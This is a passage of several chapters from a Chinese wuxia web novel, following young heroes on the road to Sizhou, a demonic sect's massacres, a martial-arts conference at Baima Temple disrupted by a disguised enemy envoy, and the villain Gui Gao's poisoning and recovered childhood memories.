书房之中,昭相雪将于婉的真实身份告诉了父亲,一番嘘寒问暖后,陈逸又开始追忆往事…… 听了父辈的往事,昭相雪表情凝重,于婉则是暗自哭泣。 昭相雪帮于婉擦了擦眼泪,于婉沙哑道:“我一点儿也不伤心,我爹为救忠烈而死,我为他感到骄傲。”嘴上虽这样说着,但此时的于婉泪如雨下,说不伤心,那都是假的。 “昭儿,恩公的遗物你教给这位姑娘没?” 昭相雪道:“爹,我正要说这事儿呢,遗物被我落在冀州了,还有九劫刀也在冀州。” 原来,昭相雪带兵“出援”宛城时,害怕弄丢恩公的遗物,遂将其埋于住处一颗琵琶树下,与之一起的,还要那把九劫刀。 陈逸:“你啊,哎,也罢,只要别弄丢了就好。” 昭相雪:“放心,我藏得很隐蔽,丢不了!” “眼下冀州战乱,可千万别弄丢了,你明天就出发,赶紧去给我找回来。” “是,明天我就出发!” 第六十二章 对月当歌 次日清晨,众人吃过早饭,收拾好细软,再次踏上征途。 众人出了镇,沿着山路走了没多久便经过一个小村,但经过小村后,走了一天也没再见过一个镇子、一个村落,万幸发现了一个废弃的小木屋,眼看天色渐暗,众人不敢再贸然前进,停下脚步,搜捡四周干柴,欲就地野炊一番。 五人分工明确,一人拾柴生火,两人搜寻野菜野果、两人打野味,最后再一起煮菜、烤肉,勉勉强强凑合一顿还是没问题。 饭饱之后,众人生起篝火,围坐在火堆旁。 “小师妹,我烤的草鱼如何?好不好吃?” “这鱼是你烤的?真的假的?” “怎么,好吃吧!我跟你说,我这烤鱼的手艺可是向胡师叔学的。”枯恂一脸得意。 “好吃好吃,厉害厉害!” 枯恂笑了笑,又问道:“江姑娘,你觉得呢?” 江雨潇微微一笑:“挺好的,烤得不错。” “真的!这可是你第一次夸我呢!真的挺好吗?” 江雨潇尴尬一笑,轻轻点点头。 “师兄,你淡定点儿,我第一次夸你时也没见你这么激动啊。” “你夸我跟江姑娘夸我能一样吗?” “你!重色轻友!” 枯恂笑了笑,也不说话,场面瞬间安静下来,众皆不语,只是看着满天群星。 江雨潇看着漫天群星感叹道:“我听说,每一颗星星都有自己命中注定的路途,有的,一辈子也不会相遇,有的,一辈子只会遇到一次,之后便永不相见。” 于婉失落道:“若是遇见一次后便永不相见,那我倒是希望那一次也别相见,永不相见亦永不相念。” 慕容洵笑道:“我不这样认为,如果这一生只能遇见一次,我会希望,那一次能长一些,我也会永远庆幸,曾经有过那次相遇。” 江雨潇又道:“你们说,最喜欢的,和最好的,会是同一人吗?” 于婉道:“肯定啊,最喜欢的那个,必然是最好的啊!” 听了这话,昭相雪不自觉的看着于婉,轻声说道:“最好的吗?我应该,不算最好的吧。” 枯恂附和道:“对啊,肯定是同一个人啊,最喜欢的,当然得是最好的。”接着他看向江雨潇:“江姑娘,我跟你说,这些年,我练功练的可勤了,不出三五年,我的功力必将是天下第一。” 江雨潇笑了笑:“真是如此,那就最好不过了。”声音极其低小,在场众人,除了自己,再无一人听见。 于婉呛话道:“得了吧,二师兄,你的意思是,你能超越谷主?” “好吧,天下第二。” “还要超越孤师傅?” “好吧,第三” “还有胡师傅呢!” “第四!好了你闭嘴。”众皆大笑,唯独江雨潇没有笑,反而有些失落的看着枯恂,恰好枯恂也偷偷瞟了她一眼,四目相对,两人皆惊,立刻转移视线,胡乱看向四周。 笑声过后,一人突然问道:“于姑娘,你有最喜欢的人吗?”问这话的,竟是昭相雪。 众皆不言,屏息以待,看着于婉。 于婉大惊,瞬间红了脸,所幸夜色浓厚,谁也没注意到此刻她脸色的变化。 “有吗?”见于婉久不作答,昭相雪竟追问道。 “有。”掷地有声的回答。 昭相雪落寞的垂下头,也不问是谁。 于婉接着说道:“昭相雪,你怎么不问我喜欢的是谁?我在冀州对你说过的话,可从没有一句是胡话!” 昭相雪一怔,不禁想起冀州相见时的场景: “不如,你把我娶了好了,咱们凑合凑合,也算是脱了单。” 昭相雪记得,于婉说出这话后,他懵逼了好久好久,最后尴尬的说了句:“姑娘~姑娘说笑了吧,我与你才见过两三面而已,现在,说这些是不是太早了啊。” 但于婉是这样回答的:“那,我们就再多见几次面,以后再说这些!” 所以,她有喜欢的人了,喜欢的是我?!从那时起,一直到现在?! 接着,没等昭相雪想清楚,于婉再问道:“昭大哥,你呢,你有喜欢的人吗?” 昭相雪垂着个头,默不作答。 “果然,还是跟之前一样,没有。”于婉毫不在意,只是讪讪一笑。 哪知昭相雪却猛地抬起头,答了句:“我有!” 众皆屏息,等着昭相雪的回答,于婉尤其紧张,几乎心都快跳出来了,但昭相雪没在继续多话,小声说了句:“时候不早了,大家快睡吧。”话罢起身进屋。 “哎,昭兄,你还没说是谁呢!昭兄!”枯恂赶紧起身,追进屋去。 “走吧,咱们也去睡吧。”慕容洵拉着落寞的于婉也回了屋,江雨潇挥剑一扫,地上尘土冒起,将篝火熄灭。 “昭兄,快说啊,到底是谁?别卖关子啊?” “昭兄,要不你不直接说,给点儿提示呗?那个人我们认识吗?是不是小师妹啊?” 场面一度十分安静,昭相雪缓缓吐出两个字来:“秘密” “秘密?!秘你个头啊,赶紧说!” 慕容洵怕婉妹难堪,制止道:“枯恂,江姑娘都睡着了,你就别继续废话了,快睡吧” “额,睡了睡了,各位晚安。” 第六十三章 圆寂,灵源师太 豫州、豫蛇教: 大殿内,一片狼藉,经文满地、桌椅乱摆,主位上坐着一人,不是青菱师太,竟是鬼俈!殿下跪着的,乃是几十名留守的豫蛇教门徒。 “灵源师太,我最后问你一次,降还是不降?” 早已归隐江湖十多年的灵源师太被两名魅影教徒押在殿下,甚是凄惨。 “呸,魔教妖人,人人得而诛之!投降?绝不可能!” 鬼俈笑了笑,从主位上站起,缓缓走到殿下,来到灵源师太面前:“灵源师太,你有什么可得意的,要说指法,你比得过惠恩师太?!”一边说着,鬼俈将灵源师太右手猛然提起:“难道说,你想跟惠恩师太一样,削去这五根手指!” 灵源师太大惊:“此事乃是豫蛇教绝密,你怎会知晓!难道?!” 鬼俈大笑起来:“没错!是咱们魅影教御守使干的!如何!” “你!” “你什么你,你也一起好了!”说完,鬼俈抽刀便是一挥,灵源师太右手整个手掌被砍去。 鬼俈喃喃自语道:“要我说,御守使大人也真够闲的,直接把整个手掌砍了多省事,非得砍手指,太慢!” 灵源师太已是六十多岁的高龄,哪受得了这等疼痛,当下,直接昏死过去。 “我最后再问你们一遍,降还是不降?青菱师太到底哪儿去了!” “司州,司州!”一名弟子颤颤巍巍的爬了过来,乃是青菱师太座下三弟子——苏芸冉。 “三师姐,你要干嘛,不能说啊!”一名豫蛇教弟子推开身后魅影教徒,跑到苏芸冉身边,试图阻止她。 苏芸冉一把将其推开:“不说?不说难道要跟那个老东西一样被砍去手掌吗?” “三师姐!师傅平日可待你不薄啊!”那弟子还欲再言,鬼俈直接一掌拍去,当场将其毙命,倒在苏芸冉身旁不足一尺的位置! 鬼俈一脸杀气,威胁道:“继续说!” 苏芸冉此刻吓破了胆,哪敢有半句谎言:“白马寺招开武林大会,师傅她老人家应邀前去参加武林大会了!” “什么时候?” “这个月中旬!” 几名豫蛇教弟子骂道:“苏芸冉,你这叛徒!”“苏芸冉,你不配做豫蛇教的弟子!不配做青菱师太的弟子!”“叛徒!你不得好死!” 鬼俈冷冷一笑:“不得好死的是你们!”鬼俈指着苏芸冉对下属说道:“除了她,其余的一个不留,全部杀掉!” 大殿之上,魅影教徒一拥而上,将殿上跪着的豫蛇教徒尽数杀死,除了苏芸冉。看着满殿的尸体,苏芸冉吓得瘫坐在地,鬼俈却微微一笑,一副意犹未尽的样子,自语道:“算算日子,藏榆长老的人,也该到徐州了吧。” …… 天色刚亮,众人睡得正酣,却被空气中飘来香味馋醒。 枯恂猛的从地席上坐起,猛吸一口:“哇,煮的什么好吃的啊,这么香!” 昭相雪、慕容洵、江雨潇也缓缓坐起,穿好外衣。 慕容洵扫视一周,问道:“哎,婉儿呢?” 听了这话,枯恂立刻着急起来:“小师妹昨天晚上不是和你睡在一起吗?” 慕容洵也急了:“对啊,昨晚她就在这儿啊。” 江雨潇道:“大家别急,屋里没有,咱们去外面找找。”话音未落,昭相雪便已然冲出屋去。 众人走出房门,便看见于婉正架好柴火煮粥。 于婉一边煮粥,一边向众人问好:“早上好。” 见此情景,枯恂先是一惊,看了眼昭相雪后,立马笑起来,坐在于婉旁边:“哎呀,有昭兄在就是好,早饭都不用自己操心了!舒服啊!” 于婉瞬间脸红,紧张道:“谁~谁说我~是给昭大哥煮的,我这是给师兄、还有洵姐、江姑娘煮的好吧。” “哦,这样啊,那你的意思是,没有昭兄弟的份呗。”枯恂坏坏一笑。 于婉立马白了枯恂一眼,小声说道:“你的可以没有,昭大哥的肯定有。” 枯恂憨憨一笑。 片刻后,众人围坐在火堆旁,吃起菜粥。 枯恂喝过一碗后,看着锅里的粥感叹起来:“哎呀,小师妹,你不地道啊,我们在凌云谷住了十几年了,也没见你这么早起,给我们煮过什么菜粥啊。” 于婉再白了他一眼,又给他盛了一碗:“吃你的吧,就你话多。” 枯恂笑着接过碗,转身对昭相雪说道:“昭兄,如何,我小师妹的手艺可还行?” 昭相雪微微一笑,轻轻点点头。 枯恂再说道:“好吃吧,我跟你讲,我小师妹手艺可好了,你要是娶了她,你就等着享福吧!” “师兄!”于婉瞬间羞红了脸,一把抢过枯恂碗筷,恼火道:“你再乱说,就别吃了。” “哎,好了好了,我不说了还不行嘛。”枯恂将碗筷抢回。 旁边江雨潇白了枯恂一眼,道:“整天就知道瞎撮合别人,怎么不撮合撮合自己。” 枯恂一愣,立刻安分,整个早晨,一直在琢磨江雨潇的话,终是啥也没琢磨出来…… 一周后: 司州,白马寺,八大门派都已到齐: 八大门派掌门、高手坐在大殿之上,已经开始在议论如何处理魔教复辟的问题了。 寺门口,一人负剑走入。 门口负责迎接的浮生方丈,恭敬的作揖道:“青云剑客?快请进快请进。” 李御风笑了笑:“浮生方丈,别来无恙啊。” “别来无恙,快请进吧,八大门派都已来齐,已经在里面议论如何应对魔教余孽了。” “这么快,谷掌门订的日子不是还有一周吗?” “他们来得早,先讨论着也无妨,正式的决定当然还得是下周再说。” 李御风点点头道:“也对,方丈辛苦了。” “应该的” 第六十四章 遭遇战 昭相雪等人走了许久,终于来到司、荆两州边境。 江雨潇道:“翻过这座山,应该就到司州地界了。” 枯恂叹息道:“终于要到了,累死我了,歇会儿吧,咱歇会儿吧。”话罢也不等众人回答,坐在一旁大石上。 慕容洵一脸不屑:“我们女子都没叫累呢,你个大男人,有那么累吗?” “你说呢?东西全在我这儿,你说我累不累。” 再看枯恂,除了自己的一个小包裹,大大小小还拿了三个,很是无奈。 “什么叫全在你这儿,昭相雪拿的不比你多啊。” 再看昭相雪,除了自己的小包裹,大大小小也又拿了三个,只是没有抱怨。 “说起来,走了这么久,还有些饿了。”慕容洵走到枯恂身旁,取下自己包裹,从里面拿出两块干饼来。 “哎呀,还是洵姐好,还是洵姐好啊!”枯恂立马笑开了花,口水直流,眼馋着干饼。 慕容洵看着枯恂,试探性的递了块饼过去:“你想吃啊?” 枯恂猛烈的点点头,伸手接饼。 哪知慕容洵却立马收回干饼,笑道:“我只是问问,可没说真要给你。” “切,我还不稀罕呢。”枯恂嘴上虽这样说着,肚子却咕咕作响。 “好,这可是你自己说的。” “哎~我~”枯恂咽了咽口水,也不好意思多话。 江雨潇道:“洵姐,枯兄他帮我们背了一路的包裹了,许是真饿了,你就给他一块吧。” 慕容洵笑了笑:“潇儿都帮你说话了,那就给你吧。”慕容洵将饼递给枯恂。 枯恂接过饼,立马狼吞虎咽起来:“谢谢江姑娘。” “你谢潇儿干嘛啊,饼是我给你的。”慕容洵一边说着,一边装作一副要抢饼的姿态。 “谢谢洵姐。”枯恂立马闪过身,先躲开慕容洵,再行道谢。 “你们三个饿了没?我这还有块饼,你们谁吃?” 于婉微笑着摇摇头,江雨潇也是摇了摇头。 “那就给昭少侠吧,背了这么多包,也该饿了。” 正话间,一枚飞镖飞来,直指于婉,昭相雪见状立马上前,挡在于婉身前,用内力将那飞镖震开,枯恂也放下手中吃剩的半块饼,站起身来,挡在江雨潇身前,慕容洵朝旁边密林喊道:“什么人!有胆子就出来,偷偷摸摸算什么英雄!” 片刻后,密林中竟缓缓走出百多个歹人来。 为首的歹徒很是面善,昭相雪细细一看竟是鬼俈! 鬼俈也认出了昭相雪,笑道:“小兄弟,咱们又见面了。” 再见鬼俈,于婉想起父亲死于阉党之手,怒不可遏,拔剑直取鬼俈! 鬼俈见于婉冲来,使出一阵掌波击向于婉,于婉挥剑向前划了三下,三道剑气飞出,合力击散掌波。 昭相雪、慕容洵等人见状也冲了上去,白波玄木二堂则迎了上去,将众人围了起来,鬼俈则在包围圈外,和于婉单挑,见小师妹势危,枯恂御剑而起,在昭相雪、慕容洵等人的掩护下飞出重围,闪到鬼俈身前。 “小师妹,我来帮你。” 鬼俈笑了笑:“小子,我认得你!” 然而,尴尬的是,忘性太大的枯恂却没能认出眼前的鬼俈。 “小师妹,他是谁啊?” 于婉小声提醒道:“你小心点儿,他是魅影右使——鬼俈!” 枯恂这才猛得想起,大惊失色。 “想起我了?孤殇老道都不是我的对手,你们,更不是!”话罢,使出冰魄玄铁掌向枯恂击去。 于婉着急的喊道:“快躲开,你接不住的。”但枯恂似乎并没听见,本能的横起剑,欲挡下鬼俈那掌。 掌剑相对,犹如兵器接触般的清脆响声,长剑又一次,被劈成两半。 枯恂大惊失色,急忙退后。 “冰魄卸魂掌。”鬼俈向前再挥两掌,枯恂躲闪不及,两波掌气将枯恂重重击倒。 另一边,白波堂主正和昭相雪比拼内力,他还以为来的是个小角色,所以比拼时完全没用全力,昭相雪抓住机会注入大量内力一掌拍去,白波堂主直接被击倒在地,吐出血来。 三长老岷湮赶紧挡在白波堂主身前,大骂道:“臭小子,哪个门派的,报上名来!” “无门也无派,江湖一散人——昭相雪!” “你就是昭相雪!”鬼俈大惊,在魅影教时,鬼岐曾告诫过他们,他日开战要小心四个人:凌云谷——于吉、豫蛇教——青菱师太、白马寺——秋殇一叶,最后一个便是这个江湖散人——昭相雪。 “三长老,这位凌云谷的姑娘交给你来对付,我来会会这位英雄少年”鬼俈话罢,便与三长老换了身位,同时,手下也扶退了受伤的白波堂主。 “鬼岐护法夸你年少有为,所以你今年多少岁了?”鬼俈上来并不着急开打。 “二十六” 鬼俈笑了笑:“如此看来,还是教主天资聪颖些啊。” 话罢,使出冰魄玄铁掌向昭相雪打去。 昭相雪取下佩剑,砍向鬼俈,鬼俈竟不躲闪,直接用双掌接下,掌剑相对,发出如兵器接触般的清脆响声。 枯恂捂着伤口,着急的喊道:“昭兄,别和他硬拼,小心他的玄铁掌,那可比你的剑硬多了!”几个魅影教徒举刀向受伤的枯恂砍去,江雨潇将枯恂往后一拉,挡在枯恂身前,挥动长鞭将这些歹人杀退。 江雨潇回头对枯恂说道:“替别人操心时,也请照顾好自己行吗?” 话音未落,枯恂挥动断剑,急施剑法,七柄长剑向江雨潇身后刺去,江雨潇回头一看,原本想偷袭的几个教徒当场飞剑刺死。 枯恂捂着伤口,微微一笑,缓缓说道:“你也是。” 再看鬼俈与昭相雪战况: 当下剑掌相接,鬼俈猛一用力,双掌向前合力一拍,直接拍断了那剑,昭相雪急忙退后,避开锋芒。 第六十五章 毒绝天下,鬼俈中招 “冰魄卸魂掌。”鬼俈向前一挥掌,施出两成多内力化作两波掌气击向昭相雪。 昭相雪虽然受了惊,但还没有到手足无措的程度,气聚丹田,身上形成一个强力的护罩,掌气击向灵力罩,竟是纹丝不动!。 “不可能”鬼俈大惊,只是一个护罩便轻易挡下那两波气掌,可见昭相雪内力的高深强劲。他哪知昭相雪的《太平清领书》秘术,内力源于自然、能随时借用自然能量转换为太平内力,填补自身,霸道非凡。化出这灵力罩,其实已经用了五成功力了,只是很快被自然灵力恢复补充好罢了。 另一边,三长老岷湮的长鞭正和于婉对打着,到底是多活了几十年的,于婉的长剑根本近不了他身,招式皆在其预料之中,打得十分狼狈。这时,于婉挥剑往手心一划,剑上沾上了血,提剑刺向三长老,三长老轻轻一闪巧妙躲过。于婉并没有因为刺空而停步,调转方向,朝另一处刺去,竟是要刺鬼俈,三长老急忙甩出一鞭向要将于婉击倒,却被赶来帮忙的慕容洵挡下。 于婉杀退数名教徒,终于冲到鬼俈身前,接着她在剑上洒了些灰色粉末,长剑向前一挥,一阵剑气击向鬼俈,鬼俈见状立马挥动左掌去挡,剑气掌气相撞,消散在空中,平局? 不,剑气虽未击中鬼俈,但他的左手却意外沾上了于婉鲜血。原来,是剑气上附带了于婉之前涂的血,当下剑气散去,血也跟着四散开来,意外沾到了鬼俈左手上。 紧接着,鬼俈的左手竟意外开始腐烂起来,原来,于婉之前涂的灰粉乃是慕容顾当年研配的药物,《碧岐内经》后半部收录了这种药物,药物本身不会有腐蚀性,但当它和人的血液结合后便具有了腐蚀性。 腐蚀并不是慕容顾的想要的结果,他想要的,是让自己带剧毒的血液,进入别人的血液里。 “这是什么鬼?!”鬼俈大叫起来,所幸不远处有个水井,立马急闪过去,舀上几瓢水浇到手掌上,腐蚀总算停止,但鬼俈却感到浑身难受,头脑眩晕。 于婉笑道:“鬼俈,我的血液可不止有腐蚀性,它还有山万蛇的剧毒。” 鬼俈浑身难受,山万蛇的毒性谁都清楚,中了毒,基本没得救。鬼俈哪会信于婉血液中含有山万蛇剧毒这种胡话,但此刻,自身的症状确实是中毒无疑,不过具体是何毒,还难说呢。 “冰魄掌”鬼俈挥动右掌,击向左臂,直接将左臂暂时冰冻起来。 “撤退!” 片刻后,鬼俈等人消失不见。 于婉扶着枯恂,枯恂骂道:“魔教妖人居然敢在司州边境犯事,胆子也太大了吧,欺我中原武林无人乎?小师妹,你松开,我要锤死他们!” “好好好,锤死他们,锤死他们。”于婉嘴上答应着,实际上仍扶着枯恂。 “好了,伤得这么重还逞强,真逗!”江雨潇冷哼一声,将一瓶药递给于婉:“帮他擦上吧。” 慕容洵道:“还没进入司州便遇到这么强的敌人,只怕进了司州,魔教妖人的阻拦会更大。” 昭相雪摇摇头:“应该不会,司隶乃是皇权所属,有重兵防守,魔教妖人正是因为不敢踏入司州,所以才设重兵在边界设伏。” 江雨潇道:“那可难说,小心为妙吧。” 司州、白马寺、武林大会上: 这一次大会的规模可比上一次大得多,来的不只是八大门派,还有各大散修,只要是江湖中的正义侠客,皆应邀来到了白马寺。 大殿之上,武林人士基本到齐了,浮生一花为方丈,正坐主位。台下熙熙攘攘坐满了人,嘈杂的交谈议论着。 浮生方丈起身喊道:“大家静一静,静一静。” 此话一出,殿上纷扰的众人渐渐安静下来。 “此次召开武林大会的目的,想必大家都很清楚,各位,有私人恩怨的,暂且放一放,当务之急,应是团结起来,共同对抗魔教余孽才是。” 青龙帮主关伟道:“浮生方丈,我只看到北方猖獗的黄巾贼,可没看到任何关于魔教复辟的踪迹啊。” 寒岩阁主王绾亦附和道:“魔教消亡已有百年之久,浮生方丈,你说魔教复辟,可有证据?” “对啊,大家千里迢迢赶来司州,你说魔教复辟,证据何在?”一些散修跟着起哄道。 凌云谷席位中,一老道站起身来,自我介绍起来:“在下凌云谷二长老胡啸。各位要证据,好办。” 胡啸挥挥手,苏起领会其意,将一些信件递给众人。 信件在众人手中传读起来,正是之前地下武场截获的些许信件,以及李御风这些年在乌桓截获的暗探密信。浮生方丈继续说道:“一个月前,魅影教右护法袭击了豫蛇教,青菱师太差点遇险。” “青菱师太遇险?!”众皆骇然。 空涧庄蔡彧惊问道:“方丈的意思是,青菱师太的白菱神功竟敌不过一个魅影右使?” 杜菱叹息几声:“那倒不是,只是一时大意,中了那群妖人的埋伏。” 秋殇一叶道:“凌云谷做事向来严谨,绝不会信口胡说,如今,事态已经十分紧急了,魔教勾结乌桓部落,意图大举进攻中原,届时,不仅中原武林会陷入血雨腥风,中原百姓也将危急存亡!” 众皆面面相觑,惶恐无措。 关伟沮丧道:“青菱师太的白菱神功尚且打不过魅影教一个小小的右使,那我们又将如何打倒功力更强的魅影教教主啊。” 紧接着,百药宗的杜济又道:“那日冀州大战,魅影左使似乎也在其中,如果我没记错的话,他使出的,乃是凌云谷失传百年的《凌空剑法》第八式!” 经历过冀州一战的都低下头,沉默不语,而没经历过那场恶战的散修、剑阁弟子亦是面面相觑,大惊失色。 见众人士气低落,杜菱起身说道:“大家别慌,一个月前,我派遭到魅影右使伏击,危急关头,曾有个神秘剑客也使用出凌空剑法,相助我派。” “青菱师太,此话当真?那人可在此处?”秋殇一叶问道。 杜菱环顾四周,摇了摇头。虽然那人戴着面罩,但他的眼睛,杜菱绝不会忘记,那双眼睛狠厉中夹带着些许温柔。仿佛一位相识几十年的老友。 虽没找到神秘人,但杜菱注意到角落中,静坐着一位身穿青色长袍的怪异男子,那男子从不同周围人交流,面部上也没有一丝表情,平静中带着些许突兀。 谷月清说道:“七魂剑落入魔教手中,理论上,《凌空剑谱》也肯定在魔教手上。” 蔡彧道:“没错,虽然那个神秘人帮助青菱师太击退了魅影教,但也不排除他曾是魅影教教徒的可能,是敌是友这可难说!” 蔡彧接着叹息道:“现在,我们只知道魅影左右使的基本功法,但对魅影教主骷魅的功法和魅影教整体的实力一无所知。” 当下,众人焦急的讨论着,杜菱则慢慢靠近那青衣男子。 第六十六章 武林大会 司州,白马寺 杜菱靠近那位神秘男子后,客气问道:“这位兄弟,为何静坐在此,一言不发? 那个青衣男子避开杜菱的视线,并不做答。 察觉到端倪的杜菱故意放大了音量,再说道:“武林大会不分尊卑,有意见,大可以提出来。”此话一出,周围人的目光都被吸引过来,看向杜菱和这位神秘青衣男子。 韦凌峰也察觉的异样,慢慢走来站在杜菱身后一米处,警戒着。 青衣男子仍不说话,却也不再躲避杜菱视线,看着她,邪魅一笑。 两人对视不过两秒,杜菱勃然大怒:“是你!”接着,使出指法,直击那青衣男子。 青衣男子急闪躲过,冷哼一声消失在原地,在出现时,已闪到大殿门,对众人讽刺道:“一群乌合之众,还妄谈剿灭魅影教!笑话!”话罢他撕下人皮面具,竟是魅影左使——鬼岐! “抓住他,他是魅影左使,鬼岐!”杜菱指着那人喊道。 鬼岐也不停留,撕下面具后立马退去,消失在殿上。 “欺人太甚”秋殇一叶拍桌而起,快步追了出去。 “我去接应秋殇大师,你们不要轻举妄动,免得中敌奸计。”紧接着,谷月清也追了出去。 “如此重要的大会,居然混进魔教妖人来,为何不好好盘查!”杜菱指责道。 殿上瞬间一片混乱,互相谩骂,猜忌起来。 大殿之内一片嘈杂,众人议论纷纷,很多散修被怀疑是魔教妖人,愤怒离场。浮生一花心烦意乱,怒拍桌子,纷乱声逐渐停止,众人安静下来。 “大家都是江湖正派,侠义之士,说话要讲道理,讲证据,岂能随便怀疑同道友人!” “浮生方丈,现在是非常时期,任何事都得万分小心才对,切不可让魔教钻了空子,探知到我们的动向。”青龙帮关伟说道。 百药宗杜冥附和道:“正是,我提议,本次武林大会,无门无派的散修,应该禁止参加!” “荒唐,武林的存亡难道只与你们这些有门派的人相关不成?”李御风怒道。 寒岩阁王绾:“杜冥你说这话,是觉得我们这些散修没有本事不成!” 杜冥:“李兄,王兄,我这样说也实属无奈,魔教妖人无孔不入,鬼岐的事不就是最好的列子吗?” 李御风:“这不正是鬼岐的目的吗?让我们互相猜忌,互相敌视,从而瓦解我们的战斗力!” 剑阁章玄:“瓦解战斗力总比没有战斗力好,暴露了重要信息,作战时便是敌暗我明,稍有不慎,整个武林都将覆灭!” “荒唐!”李御风懒得再和这些人争辩,起身便要离去。 “李兄留步。”杜济起身拦下李御风。 空涧庄蔡彧也跟着起身,充当和事佬:“各位,稍安勿躁,李兄说得对,魔教妖人这是想从内部瓦解我们,我们可不能中他们奸计啊。在下有一计,各位,可否坐下,听我一言?” 李御风见蔡彧态度友善,也不好推脱,只得坐下,各方争执之士皆安静坐下。 “此次大会,讨论的是破敌之策,要破敌,首先得有实力才行,没有实力,去了也是送死。” 众人听了,默默点了点头,蔡彧继续说道:“有实力的散修,我们大都认识,说得出他们的名号,也知道他们的品性,至于那些叫不出名号的,大都是这些年才刚刚步入江湖的,他们涉世未深,经验不足,功法也相对较低,这些人,最好还是别趟这趟浑水。” 蔡彧接着声情并茂的说道:“我并不是觉得你们品性不好、没有胆量,而是此次大战,并不比百年前五教围攻琼剑山的那场大战容易,相反,这次,恐怕比百年前的那场大战更加艰难,所以,我实在是不想看到我们中的年轻后辈,白白流血,无辜牺牲啊!” 当下,众人觉得有理,议论一番之后,场上一些没有名号、功力相对较低的散修都自觉离去。少数无名的散修被动请离,不过他们的情绪也还算平和,毕竟不是因为猜忌而被请离的。 留下来的,皆是有名号,功法较高,有熟人朋友的散修,这个熟人朋友其实就是变相的担保了。 白马寺外野林中: 秋殇对自己的轻功还是很自信的,但追赶了半个时辰,始终和鬼岐保持着一定距离。这时,谷月清追了上来,提醒道,小心有诈。 追了这么久也没追上,索性还是放弃算了。 这时,鬼岐也停下来,回头看向谷月清,轻蔑道:“凌云谷、白马寺的人也不过如此嘛” 谷月清并不接话,而是看向前面山头,山间浓雾弥漫,若隐若现,竟插满了旗帜。 秋殇怒道:“告诉你们教主,我给他两个选择,一,立马退出中原,老老实实待在乌桓。二,要来中原可以,带上自己的棺材!” 鬼岐大笑起来,语气阴狠道:“我代教主选择三,带上棺材,然后把你们统统埋葬!” “找死!”秋殇大怒,提杖便要冲上去,鬼岐也不示弱,拔出七魂剑,摆出攻势。 谷月清立马拦住秋殇,眼神示意秋殇看后面山头的旗帜,秋殇向那山头看了去,抑住怒气,默默放下了禅杖。 “走着瞧。”秋殇放下狠话后,和谷月清原路返回。 鬼岐冷哼一声,也不干扰,身后山头确实立着很多旗帜,但仅仅只有旗帜而已,并无伏兵,此刻,他的人马,已在二长老藏榆的带领下,潜入了徐州,目标——青龙帮…… 徐州,青龙帮: 藏榆和魅影三堂教徒,屠掠了整个青龙帮,因为精锐大都跟着关伟去了司州白马寺,所以,留守的弟子,并不是魅影教的对手,悉数被杀,事后魅影教徒,直接一把火,将青龙帮总坛烧成废墟,还在废墟里留下一行字:先去豫蛇头,再卸青龙骨!圣火烧白马,影步踏凌云!——魅影教。 第六十七章 俈?浩? 荆州,一破院里,鬼俈盘坐在地。此时的他,大脑一片混乱。 莫名想起往事,六岁时,他被汉人关入地窖中,足足关了两个多月,后被紫阎王收为义子,勤学苦练,摸爬滚打,终于从门徒升为护法,幼时的悲惨记忆,他从没忘记,屠戮汉人,成了他最大的乐趣。 “杀!杀!杀!我要把你们统统杀光!”头痛欲裂的鬼俈突然发狂。 脑海中突然闪过一些奇怪的画面。一个熟悉又陌生的女子端着汤药来到身前,小声说道:“浩儿,浩儿,快起来,该喝药了。” 一个男子在旁边叹息道:“病恹恹的,天天吃药,什么时候才能好啊。” “还不是因为你,浩儿手脚一会儿冰,一会儿热的,大夫说了,能活下来已是奇迹。”那女子说道。 床上躺着的,乃是只有三四岁的鬼俈,只是不知,这一男一女又是谁,鬼俈一个也不认识,而且,他们为何要叫自己浩儿? 鬼俈突然惊醒,全身燥热,汗气直冒,头疼的厉害。 “浩儿,谁是浩儿?好疼啊,脑袋好像要炸了!来人!来人!”鬼俈右手扶着头,叫喊起来。 门外教徒问道:“右护法,没事吧!” “我头好疼,快再请大夫来,快!”话罢便晕了过去。 梦境中,又换了个场景。 此时的鬼俈看起来,已有六岁,正在一个大院子里吃着大饼。 一个男子拿着一块玉佩走来,将那块玉配系在鬼俈腰间。 “浩儿,有了这块玉配保你,从此以后,你就不会再多灾多病了。”男子笑道。 玉配上似乎还有字,但梦里模糊不清的,也不知道写的什么。 “该出发了,乌桓那边的使者都等着呢。”一女子摸着鬼俈的头,对那男子说道。 男子点点头,握紧女子的手说道:“照顾好自己,等我带些土特产回来,当礼物送给你们娘两。” 女子温柔的说道:“谁要什么土特产啊,你能平安归来就是最好的礼物!” 男子笑了笑转身离去,鬼俈看着这陌生男子离去的背影,竟莫名有些伤感。 “浩儿,走,进屋去,别在外面吹冷风了,会染上风寒的。”女子拉着鬼俈的小手,向屋里走去。 鬼俈一把甩开女子的手,大吼道:“什么浩儿?我叫鬼俈!你们到底是谁啊?” 那女子笑了笑,蹲下身来:“你说什么胡话呢,我是你娘啊,你这名字,可是你爹亲自给你取的。” “他希望你以后能做一个浑身浩然正气,惩奸除恶的大英雄!” 鬼俈一下子懵了:“你是我的母亲?” 事实上,鬼俈的母亲是谁,他自己完全不清楚,也完全没印象,他只记得六岁后的生活,魅影教主紫阎王的义子,从小便在魅影教练功,从一名小教徒做起,一步步混成了右护法。据义父所言,鬼俈很小便被汉人虏走,汉人将他的生父生母残忍杀害,又将他囚禁在地窖之中,乃是紫阎王救了他,至那时起,他便加入了魅影教,至于他为什么叫鬼俈,是因为发现他时,身上挂着半块玉,那半块玉上刻了个“告”字,所以他被取名为鬼俈,这便是鬼俈名号的由来。你要问他是否还记得六岁前的事,只怕他是半个字也说不上来。 梦境中,鬼俈拿起玉正要细细端详,却发现梦境又变了。 这一次,他被蒙上了双眼,和那个熟悉而陌生的女子绑在一根柱子上,三个黑衣男子走过来,将他的眼罩摘下,接着,将他们带到一个破庙里、 庙面,那个熟悉而陌生的男子正跪在一个紫色道袍青年面前,向那青年磕头求饶。 “放了我的妻儿吧,我什么都给你!” “你知道我想要的,只要你听话,我不但放了你的妻儿,还会给你数不尽的荣华富贵。” 那男子摇摇头,满脸忧愤:“我说过,让我做什么都可以,但要我背叛朝廷,背叛族人,绝不可能。” 那紫袍青年大怒,一巴掌将男子拍倒在地“你别不识抬举,我的忍耐可是有限的!” 鬼俈抬起头想看清那紫袍道士的真容,但却是一团虚影。 这时,梦境散去,鬼俈被痛醒了,眼前一位大夫正在替他看病。 “这病症确实像是中了山万蛇的剧毒” “你只管说该如何医治!” 大夫摇摇头:“无药可救!” 